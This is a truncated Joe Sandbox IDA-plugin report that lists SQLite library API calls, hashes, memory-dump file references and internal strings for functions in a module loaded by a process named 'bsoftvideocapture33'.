                                                                                          • API String ID: 3556715608-0
                                                                                          • Opcode ID: 7a5b012c4fe40a1866ea25e0c9ef8651b072e840c3be51a8f23ca71a75eb633f
                                                                                          • Instruction ID: 37d7613b282c24208f37f95ee69ae3eaf9c0527d79975c213f2f38643f7f707f
                                                                                          • Opcode Fuzzy Hash: 7a5b012c4fe40a1866ea25e0c9ef8651b072e840c3be51a8f23ca71a75eb633f
                                                                                          • Instruction Fuzzy Hash: FEA14A71A2C215CBEB009F69CC843257FE7B7A7318F10816DD415AB2A0E7B9DC95EB11
                                                                                          APIs
                                                                                          • sqlite3_malloc.SQLITE3 ref: 6095F645
                                                                                          • sqlite3_exec.SQLITE3 ref: 6095F686
                                                                                            • Part of subcall function 6094CBB8: sqlite3_log.SQLITE3 ref: 6094CBF8
                                                                                          • sqlite3_free_table.SQLITE3 ref: 6095F6A0
                                                                                          • sqlite3_mprintf.SQLITE3 ref: 6095F6C7
                                                                                            • Part of subcall function 609296AA: sqlite3_initialize.SQLITE3 ref: 609296B0
                                                                                            • Part of subcall function 609296AA: sqlite3_vmprintf.SQLITE3 ref: 609296CA
                                                                                          • sqlite3_free.SQLITE3 ref: 6095F6B4
                                                                                            • Part of subcall function 60901C61: sqlite3_mutex_enter.SQLITE3 ref: 60901C80
                                                                                          • sqlite3_free.SQLITE3 ref: 6095F6D4
                                                                                          • sqlite3_free.SQLITE3 ref: 6095F6ED
                                                                                          • sqlite3_free_table.SQLITE3 ref: 6095F6FF
                                                                                          • sqlite3_realloc.SQLITE3 ref: 6095F71B
                                                                                          • sqlite3_free_table.SQLITE3 ref: 6095F72D
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_freesqlite3_free_table$sqlite3_execsqlite3_initializesqlite3_logsqlite3_mallocsqlite3_mprintfsqlite3_mutex_entersqlite3_reallocsqlite3_vmprintf
                                                                                          • String ID:
                                                                                          • API String ID: 1866449048-0
                                                                                          • Opcode ID: 2addae8d4502475aa330d0fbe12d9077f3fed0f055932ab6dac269a256a03500
                                                                                          • Instruction ID: 9ac78cbffd0e0cf27e5d0fdbf17c3a3d034f00011a14f89e76d08e502163788c
                                                                                          • Opcode Fuzzy Hash: 2addae8d4502475aa330d0fbe12d9077f3fed0f055932ab6dac269a256a03500
                                                                                          • Instruction Fuzzy Hash: 8751F1B49467099FDB01DF69D59178EBBF6FF68318F104429E884AB300D379D894CB91
                                                                                          APIs
                                                                                          • sqlite3_finalize.SQLITE3 ref: 609407B4
                                                                                            • Part of subcall function 6094064B: sqlite3_log.SQLITE3 ref: 60940672
                                                                                            • Part of subcall function 6094064B: sqlite3_log.SQLITE3 ref: 60940696
                                                                                          • sqlite3_finalize.SQLITE3 ref: 609407C2
                                                                                            • Part of subcall function 6094064B: sqlite3_mutex_enter.SQLITE3 ref: 609406A7
                                                                                          • sqlite3_finalize.SQLITE3 ref: 609407D0
                                                                                          • sqlite3_finalize.SQLITE3 ref: 609407DE
                                                                                          • sqlite3_finalize.SQLITE3 ref: 609407EC
                                                                                          • sqlite3_finalize.SQLITE3 ref: 609407FA
                                                                                          • sqlite3_finalize.SQLITE3 ref: 60940808
                                                                                          • sqlite3_finalize.SQLITE3 ref: 60940816
                                                                                          • sqlite3_finalize.SQLITE3 ref: 60940824
                                                                                          • sqlite3_free.SQLITE3 ref: 6094082C
                                                                                            • Part of subcall function 60901C61: sqlite3_mutex_enter.SQLITE3 ref: 60901C80
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_finalize$sqlite3_logsqlite3_mutex_enter$sqlite3_free
                                                                                          • String ID:
                                                                                          • API String ID: 14011187-0
                                                                                          • Opcode ID: d36625bd4fa8924ea0abcbec615d2e266582c2e39b3be902bd1f9101c01d6c45
                                                                                          • Instruction ID: 14c977e837db455c9c1ce3b69ce7d4e0fb0da6313972e550a4586d0eb1b189ee
                                                                                          • Opcode Fuzzy Hash: d36625bd4fa8924ea0abcbec615d2e266582c2e39b3be902bd1f9101c01d6c45
                                                                                          • Instruction Fuzzy Hash: F7116774504B008BCB50BF78C9C965877E9AFB5308F061978EC8A8F306EB34D4918B15
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID: $ AND $%s USING %sINDEX %s%s$%s USING AUTOMATIC %sINDEX%.0s%s$)><$0$ANY($COVERING $SCAN$SEARCH$rowid
                                                                                          • API String ID: 0-780898
                                                                                          • Opcode ID: d1d17e5dd7c74eae3224551f6f3ab351f201226dcaab78a09df61ec6b72ac00d
                                                                                          • Instruction ID: 1b008e11d07f16b9462ef115b46fd1892196ed4c5360d6a6f9a636b6bab85f9b
                                                                                          • Opcode Fuzzy Hash: d1d17e5dd7c74eae3224551f6f3ab351f201226dcaab78a09df61ec6b72ac00d
                                                                                          • Instruction Fuzzy Hash: 46D109B0A087099FD714CF99C19079DBBF2BFA8308F10886AE495AB355D774D982CF81
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID: aolf$aolf$bolb$bolc$buod$buod$laer$laer$rahc$tni$txet
                                                                                          • API String ID: 0-2604012851
                                                                                          • Opcode ID: b472df4709d2161ac4da3e6dd873a69b8789eadb7617e1432b7f17fad04b9ea6
                                                                                          • Instruction ID: a78f5df49eecf700eafad7d6eadd6707640e608d2d263d021760269e78388884
                                                                                          • Opcode Fuzzy Hash: b472df4709d2161ac4da3e6dd873a69b8789eadb7617e1432b7f17fad04b9ea6
                                                                                          • Instruction Fuzzy Hash: 2D31B171A891458ADB21891C85503EE7FBB9BE3344F28902EC8B2DB246C735CCD0C3A2
                                                                                          APIs
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: memcmp$sqlite3_logsqlite3_mutex_try
                                                                                          • String ID: 0$SQLite format 3
                                                                                          • API String ID: 3174206576-3388949527
                                                                                          • Opcode ID: e2a376b1a29b79c4f9f51ec04e7584e9c4e5062bfe0a82991cc629df80cc0a0f
                                                                                          • Instruction ID: d3cc03899c2fb96d27ccc41cf7ad58ff30b38a29db2c3208110d6cb2c70dce50
                                                                                          • Opcode Fuzzy Hash: e2a376b1a29b79c4f9f51ec04e7584e9c4e5062bfe0a82991cc629df80cc0a0f
                                                                                          • Instruction Fuzzy Hash: A3028BB0A082659BDB09CF68D48178ABBF7FFA5308F148269E8459B345DB74DC85CF81
                                                                                          APIs
                                                                                          • sqlite3_value_text.SQLITE3 ref: 6095F030
                                                                                          • sqlite3_value_text.SQLITE3 ref: 6095F03E
                                                                                          • sqlite3_stricmp.SQLITE3 ref: 6095F0B3
                                                                                          • sqlite3_free.SQLITE3 ref: 6095F180
                                                                                            • Part of subcall function 6092E279: strcmp.MSVCRT ref: 6092E2AE
                                                                                            • Part of subcall function 6092E279: sqlite3_free.SQLITE3 ref: 6092E3A8
                                                                                          • sqlite3_free.SQLITE3 ref: 6095F1BD
                                                                                            • Part of subcall function 60901C61: sqlite3_mutex_enter.SQLITE3 ref: 60901C80
                                                                                          • sqlite3_result_error_code.SQLITE3 ref: 6095F34E
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_free$sqlite3_value_text$sqlite3_mutex_entersqlite3_result_error_codesqlite3_stricmpstrcmp
                                                                                          • String ID: |
                                                                                          • API String ID: 1576672187-2343686810
                                                                                          • Opcode ID: 45796efa6547682f16092b9fa288c01422e20de86ab54653b6df12e990b05c38
                                                                                          • Instruction ID: c4017fd8acd983bc841f22cdb0f4132ffe50c361176833da1127552c957ad2bb
                                                                                          • Opcode Fuzzy Hash: 45796efa6547682f16092b9fa288c01422e20de86ab54653b6df12e990b05c38
                                                                                          • Instruction Fuzzy Hash: B2B189B4A08308CBDB01CF69C491B9EBBF2BF68358F148968E854AB355D734EC55CB81
                                                                                          APIs
                                                                                          • sqlite3_file_control.SQLITE3 ref: 609537BD
                                                                                          • sqlite3_free.SQLITE3 ref: 60953842
                                                                                          • sqlite3_free.SQLITE3 ref: 6095387C
                                                                                            • Part of subcall function 60901C61: sqlite3_mutex_enter.SQLITE3 ref: 60901C80
                                                                                          • sqlite3_stricmp.SQLITE3 ref: 609538D4
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_free$sqlite3_file_controlsqlite3_mutex_entersqlite3_stricmp
                                                                                          • String ID: 6$timeout
                                                                                          • API String ID: 2671017102-3660802998
                                                                                          • Opcode ID: 8cffcba2199636318c40f61931f0f453c1b4c4e8a0677f5b7de6569c291e0b77
                                                                                          • Instruction ID: da3e9078838fdf1f068eeacc94130b5fe058058c2a53432068b0843c8cdd1fdd
                                                                                          • Opcode Fuzzy Hash: 8cffcba2199636318c40f61931f0f453c1b4c4e8a0677f5b7de6569c291e0b77
                                                                                          • Instruction Fuzzy Hash: 6CA11270A083198BDB15CF6AC88079EBBF6BFA9304F10846DE8589B354D774D885CF41
                                                                                          APIs
                                                                                          • sqlite3_snprintf.SQLITE3 ref: 6095D450
                                                                                            • Part of subcall function 60917354: sqlite3_vsnprintf.SQLITE3 ref: 60917375
                                                                                          • sqlite3_snprintf.SQLITE3 ref: 6095D4A1
                                                                                          • sqlite3_snprintf.SQLITE3 ref: 6095D525
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_snprintf$sqlite3_vsnprintf
                                                                                          • String ID: $)><$sqlite_master$sqlite_temp_master
                                                                                          • API String ID: 652164897-1572359634
                                                                                          • Opcode ID: 7664a015b2dc01db37cf12657f922778db359f6c70a1ba93bfebbfbe3581116b
                                                                                          • Instruction ID: a98725bc65f6cff0ffebef66634980575a39ba2d787d432de3c608a01e11e389
                                                                                          • Opcode Fuzzy Hash: 7664a015b2dc01db37cf12657f922778db359f6c70a1ba93bfebbfbe3581116b
                                                                                          • Instruction Fuzzy Hash: 5991F275E05219CFCB15CF98C48169DBBF2BFA9308F14845AE859AB314DB34ED46CB81
                                                                                          APIs
                                                                                          • sqlite3_value_text.SQLITE3 ref: 6091B06E
                                                                                          • sqlite3_result_error_toobig.SQLITE3 ref: 6091B178
                                                                                          • sqlite3_result_error_nomem.SQLITE3 ref: 6091B197
                                                                                          • sqlite3_result_text.SQLITE3 ref: 6091B5A3
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_result_error_nomemsqlite3_result_error_toobigsqlite3_result_textsqlite3_value_text
                                                                                          • String ID:
                                                                                          • API String ID: 2352520524-0
                                                                                          • Opcode ID: bf61c68f4ce88464188c3b4ec21cbec410585f797eaf5b0aff599f1fc01aebfc
                                                                                          • Instruction ID: 99f21b63ad5c9672efebb0dd762c853f70c7e366ddc85f9db9da2d733c13ec0c
                                                                                          • Opcode Fuzzy Hash: bf61c68f4ce88464188c3b4ec21cbec410585f797eaf5b0aff599f1fc01aebfc
                                                                                          • Instruction Fuzzy Hash: F9E16B71E4C2199BDB208F18C89039EBBF7AB65314F1584DAE8A857351D738DCC19F82
                                                                                          APIs
                                                                                            • Part of subcall function 609296D1: sqlite3_value_bytes.SQLITE3 ref: 609296F3
                                                                                            • Part of subcall function 609296D1: sqlite3_mprintf.SQLITE3 ref: 60929708
                                                                                            • Part of subcall function 609296D1: sqlite3_free.SQLITE3 ref: 6092971B
                                                                                          • sqlite3_exec.SQLITE3 ref: 6096A4D7
                                                                                            • Part of subcall function 6094CBB8: sqlite3_log.SQLITE3 ref: 6094CBF8
                                                                                          • sqlite3_result_text.SQLITE3 ref: 6096A5D3
                                                                                            • Part of subcall function 6096A38C: sqlite3_bind_int.SQLITE3 ref: 6096A3DE
                                                                                            • Part of subcall function 6096A38C: sqlite3_step.SQLITE3 ref: 6096A435
                                                                                            • Part of subcall function 6096A38C: sqlite3_reset.SQLITE3 ref: 6096A445
                                                                                          • sqlite3_exec.SQLITE3 ref: 6096A523
                                                                                          • sqlite3_exec.SQLITE3 ref: 6096A554
                                                                                          • sqlite3_exec.SQLITE3 ref: 6096A57F
                                                                                          • sqlite3_result_error_code.SQLITE3 ref: 6096A5E1
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_exec$sqlite3_bind_intsqlite3_freesqlite3_logsqlite3_mprintfsqlite3_resetsqlite3_result_error_codesqlite3_result_textsqlite3_stepsqlite3_value_bytes
                                                                                          • String ID: optimize
                                                                                          • API String ID: 3659050757-3797040228
                                                                                          • Opcode ID: c770602c58b8b739d860714e2a7cbb539b0686760bc80d510edb2603001de118
                                                                                          • Instruction ID: 653702cfcd2f061f0588c77de086fc27204f9fc351fc8b4992cba684a546c14d
                                                                                          • Opcode Fuzzy Hash: c770602c58b8b739d860714e2a7cbb539b0686760bc80d510edb2603001de118
                                                                                          • Instruction Fuzzy Hash: E831C3B11187119FE310DF24C49570FBBE6ABA1368F10C91DF9968B350E7B9D8459F82
                                                                                          APIs
                                                                                          • sqlite3_column_blob.SQLITE3 ref: 609654FB
                                                                                          • sqlite3_column_bytes.SQLITE3 ref: 60965510
                                                                                          • sqlite3_reset.SQLITE3 ref: 60965556
                                                                                          • sqlite3_reset.SQLITE3 ref: 609655B8
                                                                                            • Part of subcall function 60941C40: sqlite3_mutex_enter.SQLITE3 ref: 60941C58
                                                                                            • Part of subcall function 60941C40: sqlite3_mutex_leave.SQLITE3 ref: 60941CBE
                                                                                          • sqlite3_malloc.SQLITE3 ref: 60965655
                                                                                          • sqlite3_free.SQLITE3 ref: 60965714
                                                                                          • sqlite3_free.SQLITE3 ref: 6096574B
                                                                                            • Part of subcall function 60901C61: sqlite3_mutex_enter.SQLITE3 ref: 60901C80
                                                                                          • sqlite3_free.SQLITE3 ref: 609657AA
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_free$sqlite3_mutex_entersqlite3_reset$sqlite3_column_blobsqlite3_column_bytessqlite3_mallocsqlite3_mutex_leave
                                                                                          • String ID:
                                                                                          • API String ID: 2722129401-0
                                                                                          • Opcode ID: 718344d9776843f9d3d0f11354c3fb96bdbf3732bae6ebd8df48c35682458f02
                                                                                          • Instruction ID: e3a8cc565ee031670952cbbbf81914cbe75110044a29491daaf6513bdc913a85
                                                                                          • Opcode Fuzzy Hash: 718344d9776843f9d3d0f11354c3fb96bdbf3732bae6ebd8df48c35682458f02
                                                                                          • Instruction Fuzzy Hash: BBD1D270E14219CFEB14CFA9C48469DBBF2BF68304F20856AD899AB346D774E845CF81
                                                                                          APIs
                                                                                          • sqlite3_malloc.SQLITE3 ref: 609645D9
                                                                                            • Part of subcall function 60928099: sqlite3_malloc.SQLITE3 ref: 609280ED
                                                                                          • sqlite3_free.SQLITE3 ref: 609647C5
                                                                                            • Part of subcall function 60963D35: memcmp.MSVCRT ref: 60963E74
                                                                                          • sqlite3_free.SQLITE3 ref: 6096476B
                                                                                            • Part of subcall function 60901C61: sqlite3_mutex_enter.SQLITE3 ref: 60901C80
                                                                                          • sqlite3_free.SQLITE3 ref: 6096477B
                                                                                          • sqlite3_free.SQLITE3 ref: 60964783
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_free$sqlite3_malloc$memcmpsqlite3_mutex_enter
                                                                                          • String ID:
                                                                                          • API String ID: 571598680-0
                                                                                          • Opcode ID: d604abe0313f10411a0f234c71df8e29ee85eaf68e2bcebad1bf05c151ae1b53
                                                                                          • Instruction ID: 53ad94a03898eae12f4127695087571842428d6fdffc19c65fee49adcf86f1ae
                                                                                          • Opcode Fuzzy Hash: d604abe0313f10411a0f234c71df8e29ee85eaf68e2bcebad1bf05c151ae1b53
                                                                                          • Instruction Fuzzy Hash: 5E91F674E14228CFEB14CFA9D890B9EBBB6BB99304F1085AAD849A7344D734DD81CF51
                                                                                          APIs
                                                                                          • sqlite3_mprintf.SQLITE3 ref: 60929761
                                                                                            • Part of subcall function 609296AA: sqlite3_initialize.SQLITE3 ref: 609296B0
                                                                                            • Part of subcall function 609296AA: sqlite3_vmprintf.SQLITE3 ref: 609296CA
                                                                                          • sqlite3_mprintf.SQLITE3 ref: 609297C8
                                                                                          • sqlite3_mprintf.SQLITE3 ref: 6092988B
                                                                                          • sqlite3_free.SQLITE3 ref: 609298A4
                                                                                          • sqlite3_free.SQLITE3 ref: 609298AC
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_mprintf$sqlite3_free$sqlite3_initializesqlite3_vmprintf
                                                                                          • String ID:
                                                                                          • API String ID: 251866411-0
                                                                                          • Opcode ID: a3bf00685530be514bf65e4252527f4a7bfa11b3ac4fddf1f02e32dfe1b6d316
                                                                                          • Instruction ID: c0caaa5c89e6f65941469514643da9571fc5146b16edc1869e8ccb0497590022
                                                                                          • Opcode Fuzzy Hash: a3bf00685530be514bf65e4252527f4a7bfa11b3ac4fddf1f02e32dfe1b6d316
                                                                                          • Instruction Fuzzy Hash: 4C417970E142098FCB00DF68D48069EFBF6FFAA314F15852AE855AB344DB34D842CB81
                                                                                          APIs
                                                                                          • sqlite3_value_int.SQLITE3 ref: 6091A7A9
                                                                                          • sqlite3_value_bytes.SQLITE3 ref: 6091A7C3
